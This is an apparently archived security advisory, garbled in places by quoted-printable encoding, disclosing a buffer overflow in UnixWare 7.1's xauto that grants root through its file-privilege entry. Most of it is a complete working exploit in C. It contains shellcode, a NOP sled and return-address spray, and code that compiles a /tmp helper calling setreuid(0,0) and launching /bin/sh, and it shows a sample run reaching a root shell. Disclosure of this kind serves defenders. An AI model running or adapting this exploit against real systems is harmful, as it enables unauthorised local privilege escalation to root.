Buffer overflow in UnixWare xauto can escalate to root privileges despite no suid/sgid.
`Greetings,
OVERVIEW
Although UnixWare's /usr/X/bin/xauto is NOT suid/sgid, we can still overf=
low a
buffer within it and gain root privileges.
BACKGROUND
Only tested UnixWare 7.1, all other UnixWares should be assumed vulnerabl=
e.
DETAILS
xauto is mode 755, root/sys and yet we can still use a buffer overflow at=
tack
to gain root privileges. This is due to (see my UnixWare privileges
discussion in my uidadmin advisory) xauto gaining the "setuid" privilege =
in
/etc/security/tcb/privs as shown:
bash-2.02$ cat /etc/security/tcb/privs | grep xauto
39968:3056:939894567:%fixed,setuid,dacread:/usr/X/bin/xauto
The setuid privilege, as you might imagine, allows the program to setuid(=
) any
way it wants. Therefore we must either have setreuid(0,0); in our shellc=
ode
or exec a program that calls this for us. =
EXPLOIT
bash-2.02$ ls -la /usr/X/bin/xauto
-rwxr-xr-x 1 root sys 39968 Apr 3 1998 /usr/X/bin/xaut=
o
bash-2.02$ cat /etc/security/tcb/privs | grep xauto
39968:3056:939894567:%fixed,setuid,dacread:/usr/X/bin/xauto
bash-2.02$ ./uwxauto
UnixWare 7.x exploit for the non-su/gid /usr/X/bin/xauto
Brock Tellier [email protected]
Using offset/addr: 9400/0x8047b08
# =
--- uwxauto.c ---
/**
** UnixWare 7.1 root exploit for xauto
** Note that xauto is NOT suid or sgid but gains it's privs from
** /etc/security/tcb/privs. For more info, consult intro(2) =
** and fileprivs(1)
** =
**
** Brock Tellier [email protected]
**/ =
#include <stdlib.h>
#include <stdio.h>
char scoshell[]=3D /* UnixWare 7.1 shellcode runs /tmp/ui */
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/tmp/ui\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
=
#define EGGLEN 2048
#define RETLEN 5000
#define ALIGN 0
#define NOP 0x90
#define CODE "void main() { setreuid(0,0); system(\"/bin/sh\"); }\n"
void buildui() {
FILE *fp;
char cc[100];
fp =3D fopen("/tmp/ui.c", "w");
fprintf(fp, CODE);
fclose(fp);
snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
system(cc);
}
int main(int argc, char *argv[]) {
=
long int offset=3D0;
=
int i;
int egglen =3D EGGLEN;
int retlen;
long int addr;
char egg[EGGLEN];
char ret[RETLEN];
// who needs __asm__? Per Solar Designer's suggestion
unsigned long sp =3D (unsigned long)&sp; =
buildui();
if(argc > 3) {
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
exit(0); =
}
else if (argc =3D=3D 2){
offset=3Datoi(argv[1]);
retlen=3DRETLEN;
}
else if (argc =3D=3D 3) {
offset=3Datoi(argv[1]);
retlen=3Datoi(argv[2]); =
}
else {
offset=3D9400;
retlen=3D2000;
=
}
addr=3Dsp + offset;
=
fprintf(stderr, "UnixWare 7.x exploit for the non-su/gid
/usr/X/bin/xauto\n");
fprintf(stderr, "Brock Tellier [email protected]\n");
fprintf(stderr, "Using offset/addr: %d/0x%x\n", offset,addr);
=
memset(egg,NOP,egglen);
memcpy(egg+(egglen - strlen(scoshell) - 1),scoshell,strlen(scoshell));
=
for(i=3DALIGN;i< retlen-4;i+=3D4)
*(int *)&ret[i]=3Daddr; =
=
memcpy(egg, "EGG=3D", 4);
putenv(egg);
execl("/usr/X/bin/xauto", "xauto","-t", ret, NULL); =
=
}
------
Brock Tellier
UNIX Systems Administrator
Chicago, IL, USA
[email protected]
`
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